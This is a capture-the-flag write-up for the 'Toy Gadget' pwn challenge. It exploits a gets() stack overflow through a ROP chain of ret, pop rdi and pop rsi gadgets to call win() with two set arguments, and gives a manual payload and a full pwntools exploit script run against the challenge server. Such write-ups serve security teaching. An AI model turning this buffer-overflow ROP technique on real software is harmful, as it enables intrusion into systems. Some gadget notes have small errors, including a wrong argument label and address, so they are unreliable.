Toy Gadget
Challenge Description
I require help to read the flag. Help me please!
Source Code
1
2
~/labs/ctf/cyberblitz2025/pwn/toy_gadget
venv3 ❯ ~/labs/tools/ghidra.py gadget
Functions
Main
Question
[!WARNING]
getsused, susceptible to buffer overflow
Win
To Note
- Argument 1
0xed0cdaed\xed\xda\x0c\xed\x00\x00\x00\x00- Argument 2
0xdeadc0de\xde\xc0\xad\xde\x00\x00\x00\x00
To Note
- Address:
0x4011c0- Little-Endian:
\xc0\x11\x40\x00\x00\x00\x00\x00
The objective is to redirect execution flow to the win function while correctly setting its two required arguments.
Exploit
Check Security
1
2
3
~/labs/ctf/cyberblitz2025/pwn/toy_gadget
❯ file gadget
gadget: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cffc44ddeb8860288d84f91eccfed7b5a96453cb, for GNU/Linux 3.2.0, not stripped
Breakdown
- The binary is not stripped, meaning symbol information is preserved.
- Function names (e.g.
main,win) and symbol addresses are available.- TLDR, easier to understand when rev.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
~/labs/ctf/cyberblitz2025/pwn/toy_gadget
❯ checksec --file=./gadget --format=json | jq
{
"./gadget": {
"relro": "partial",
"canary": "no",
"nx": "yes",
"pie": "no",
"rpath": "no",
"runpath": "no",
"symbols": "yes",
"fortify_source": "no",
"fortified": "0",
"fortify-able": "3"
}
}
Breakdown
canary: no
- Don’t need to find offset to canary. The return address can be overwritten directly.
nx:yes
- The stack is non-executable, preventing injected shellcode from running.
- Don’t matter here since its a
ret2winchallenge.pie:no
- The binary is loaded at a fixed base address.
- Don’t need PIE leak.
Vulnerability Analysis
View functions
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
pwndbg> info func All defined functions: Non-debugging symbols: 0x0000000000401000 _init 0x0000000000401030 puts@plt 0x0000000000401040 setbuf@plt 0x0000000000401050 printf@plt 0x0000000000401060 fgets@plt 0x0000000000401070 gets@plt 0x0000000000401080 fopen@plt 0x0000000000401090 main 0x00000000004010c0 _start 0x00000000004010f0 _dl_relocate_static_pie 0x0000000000401100 deregister_tm_clones 0x0000000000401130 register_tm_clones 0x0000000000401170 __do_global_dtors_aux 0x00000000004011a0 frame_dummy 0x00000000004011b0 callmee 0x00000000004011c0 question 0x00000000004011e0 win 0x000000000040124c _fini pwndbg>
To Note
- Address:
4011e0 - Little-Endian:
\xe0\x11\x40\x00\x00\x00\x00\x00
- Address:
Disassemble question
1 2 3 4 5 6 7 8 9 10 11 12
pwndbg> disas question Dump of assembler code for function question: 0x00000000004011c0 <+0>: sub rsp,0x48 0x00000000004011c4 <+4>: mov edi,0x402008 0x00000000004011c9 <+9>: xor eax,eax 0x00000000004011cb <+11>: call 0x401050 <printf@plt> 0x00000000004011d0 <+16>: mov rdi,rsp 0x00000000004011d3 <+19>: xor eax,eax 0x00000000004011d5 <+21>: call 0x401070 <gets@plt> 0x00000000004011da <+26>: add rsp,0x48 0x00000000004011de <+30>: ret End of assembler dump.Breakdown
- Allocates 72 bytes on the stack directly below the saved return address.
- Passes the stack pointer as the destination buffer to
gets.- No write limit at all.
- Restores
rsp, thenretloads the next 8 bytes from the stack intorip.- Execution is redirected if we overwrite RIP.
Find RIP Offset
Generate pattern
1 2 3
pwndbg> cyclic 100 aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa pwndbg>
Generate more than 72 bytes since the local stack buffer is 72 bytes.
Breakdown
- The crash occurs at
ret, soRIPstill points to theretinstruction.
- The crash occurs at
Find offset
1 2 3
pwndbg> cyclic -l jaaaaaaa Finding cyclic pattern of 8 bytes: b'jaaaaaaa' (hex: 0x6a61616161616161) Found at offset 72
Breakdown
- The next 8 bytes after offset 72 fully control the return address.
Find Gadgets
We need gadgets because for 64-bit, function arguments are passed via registers, rather than being read directly from the stack.
Unlike 32-bit binaries where we can just add the 2 arguments right after the return function address.
Find
ret1 2 3 4 5 6 7 8 9 10 11
~/labs/ctf/cyberblitz2025/pwn/toy_gadget ❯ ropper -f gadget --search "ret" [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: ret [INFO] File: gadget 0x0000000000401042: ret 0x2f; 0x0000000000401016: ret;
To Note
- Utilized for stack alignment.
- Address:
401016 - Little-Endian:
\x16\x10\x40\x00\x00\x00\x00\x00
Find
pop rdi1 2 3 4 5 6 7 8 9 10
~/labs/ctf/cyberblitz2025/pwn/toy_gadget ❯ ropper -f gadget --search "pop rdi" [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rdi [INFO] File: gadget 0x00000000004011b0: pop rdi; ret;
To Note
- Utilized to set the first function argument (
rdi). - Address:
4011b0 - Little-Endian:
\xb0\x11\x40\x00\x00\x00\x00\x00
- Utilized to set the first function argument (
Find
pop rsi1 2 3 4 5 6 7 8 9 10
~/labs/ctf/cyberblitz2025/pwn/toy_gadget ❯ ropper -f gadget --search "pop rsi" [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rsi [INFO] File: gadget 0x00000000004011b2: pop rsi; ret;
To Note
- Utilized to set the first function argument (
rsi). - Address:
4011b0 - Little-Endian:
\xb2\x11\x40\x00\x00\x00\x00\x00
- Utilized to set the first function argument (
Manual
Steps
Step Purpose Value Little-Endian 1 Padding to RIP 72- 2 Stack alignment ( ret)0x401016\x16\x10\x40\x00\x00\x00\x00\x003 pop rdi ; ret0x4011b0\xb0\x11\x40\x00\x00\x00\x00\x004 Argument 1 ( rdi)0xed0cdaed\xed\xda\x0c\xed\x00\x00\x00\x005 pop rsi ; ret0x4011b2\xb2\x11\x40\x00\x00\x00\x00\x006 Argument 2 ( rsi)0xdeadc0de\xde\xc0\xad\xde\x00\x00\x00\x007 win()0x4011e0\xe0\x11\x40\x00\x00\x00\x00\x00Create Payload
1
python2 -c 'print("A"*72+ "\xb0\x11\x40\x00\x00\x00\x00\x00" + "\xed\xda\x0c\xed\x00\x00\x00\x00" + "\xb2\x11\x40\x00\x00\x00\x00\x00" + "\xde\xc0\xad\xde\x00\x00\x00\x00" + "\xe0\x11\x40\x00\x00\x00\x00\x00" )' > payload1 2 3 4 5 6 7 8
python2 -c 'print( "A"*72 + "\xb0\x11\x40\x00\x00\x00\x00\x00" + # pop rdi ; ret "\xed\xda\x0c\xed\x00\x00\x00\x00" + # 0xed0cdaed "\xb2\x11\x40\x00\x00\x00\x00\x00" + # pop rsi ; ret "\xde\xc0\xad\xde\x00\x00\x00\x00" + # 0xdeadc0de "\xe0\x11\x40\x00\x00\x00\x00\x00" # win )' > payloadSend it
1 2 3 4 5 6 7
~/labs/ctf/cyberblitz2025/pwn/toy_gadget ❯ cat payload | ./gadget Hello welcome to my challenge :) What do you know about Binary? : CyberBlitz2025{flag} [1] 985028 done cat payload | 985029 segmentation fault ./gadgetSend it
1 2 3 4 5 6 7 8 9 10 11
from pwn import * def get_payload(): with open("payload", "rb") as f: return f.read() io = remote(sys.argv[1], int(sys.argv[2])) io.recvuntil(b'What do you know about Binary? :') io.send(get_payload() + b'\n') print(io.recvall(timeout=2)) io.interactive()
Auto
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
def start(argv=[], *a, **kw):
if args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
def find_offset(payload):
# Launch process and send payload
p = process(exe)
p.sendlineafter(b':', payload)
# Wait for the process to crash
p.wait()
# ip_offset = cyclic_find(p.corefile.pc) # x86
ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4)) # x64
info('located EIP/RIP offset at {a}'.format(a=ip_offset))
return ip_offset
# Set up pwntools for the correct architecture
exe = './gadget'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'
offset = find_offset(cyclic(100))
# Start program
io = start()
# POP RDI gadget found with ropper
# pop_rdi = 0x4011b0
# pop_rsi = 0x4011b2
# ret = 0x401016
rop = ROP(exe)
ret = rop.find_gadget(["ret"]).address
pop_rdi = rop.find_gadget(["pop rdi", "ret"]).address
pop_rsi = rop.find_gadget(["pop rsi", "ret"]).address
# Build the payload
payload = flat({
offset: [
ret,
pop_rdi,
0xed0cdaed,
pop_rsi,
0xdeadc0de,
elf.functions.win #0x4011e0
]
})
# Save the payload to file
write('payload', payload)
# Send the payload
io.sendlineafter(b'What do you know about Binary? :', payload)
print(io.recvall(timeout=2).decode())
# Get flag
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
~/labs/ctf/cyberblitz2025/pwn/toy_gadget
❯ python3 exploit.py REMOTE blitzinstance1.ddns.net 33511
[+] Starting local process './gadget': pid 1000630
[*] Process './gadget' stopped with exit code -11 (SIGSEGV) (pid 1000630)
[+] Parsing corefile...: Done
[*] '/home/kali/labs/ctf/cyberblitz2025/pwn/toy_gadget/core.1000630'
Arch: amd64-64-little
RIP: 0x4011de
RSP: 0x7fffffffdc38
Exe: '/home/kali/labs/ctf/cyberblitz2025/pwn/toy_gadget/gadget' (0x400000)
Fault: 0x6161617461616173
[*] located EIP/RIP offset at 72
[+] Opening connection to blitzinstance1.ddns.net on port 33511: Done
[*] '/home/kali/labs/ctf/cyberblitz2025/pwn/toy_gadget/gadget'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] Loaded 11 cached gadgets for './gadget'
[+] Receiving all data: Done (40B)
[*] Closed connection to blitzinstance1.ddns.net port 33511
CyberBlitz2025{R0p_Ch@11n_your_Wa5555}
[*] Switching to interactive mode
[*] Got EOF while reading in interactive






